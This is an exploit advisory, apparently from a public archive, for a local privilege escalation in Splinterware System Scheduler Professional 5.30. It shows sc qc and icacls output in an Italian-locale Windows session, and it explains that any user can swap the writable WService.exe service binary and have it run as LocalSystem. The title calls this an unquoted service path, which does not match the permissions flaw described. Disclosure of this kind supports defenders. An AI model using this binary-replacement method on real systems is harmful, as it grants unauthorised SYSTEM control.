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Splinterware System Scheduler Professional 5.30 Privilege Escalation

Splinterware System Scheduler Professional 5.30 Privilege Escalation
Posted May 12, 2021
Authored by Andrea Intilangelo

Splinterware System Scheduler Professional version 5.30 suffers an unquoted service path vulnerability that allows for privilege escalation.

tags | exploit
MD5 | 8f6dbe88705c0cb72b7fc1c5e9131baf

Splinterware System Scheduler Professional 5.30 Privilege Escalation

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# Exploit Title: Splinterware System Scheduler Professional 5.30 - Unquoted Service Path
# Date: 2021-05-11
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.splinterware.com
# Software Link: https://www.splinterware.com/download/ssproeval.exe
# Version: 5.30 Professional
# Tested on: Windows 10 Pro 20H2 x64

System Scheduler Professional 5.30 is subject to privilege escalation due to insecure file permissions, impacting
where the service 'WindowsScheduler' calls its executable. A non-privileged user could execute arbitrary code with
elevated privileges (system level privileges as "nt authority\system") since the service runs as Local System;
renaming the WService.exe file located in the software's path and replacing it with a malicious file, the new one
will be executed after a short while.

C:\Users\test>sc qc WindowsScheduler
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: WindowsScheduler
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 0 IGNORE
NOME_PERCORSO_BINARIO : C:\PROGRA~2\SYSTEM~1\WService.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : System Scheduler Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem

C:\Users\test>icacls C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1\ BUILTIN\Users:(RX,W)
BUILTIN\Users:(OI)(CI)(IO)(GR,GW,GE)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(RX)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(OI)(CI)(IO)(GR,GE)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(RX)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(OI)(CI)(IO)(GR,GE)

Elaborazione completata per 1 file. Elaborazione non riuscita per 0 file

C:\Users\test>

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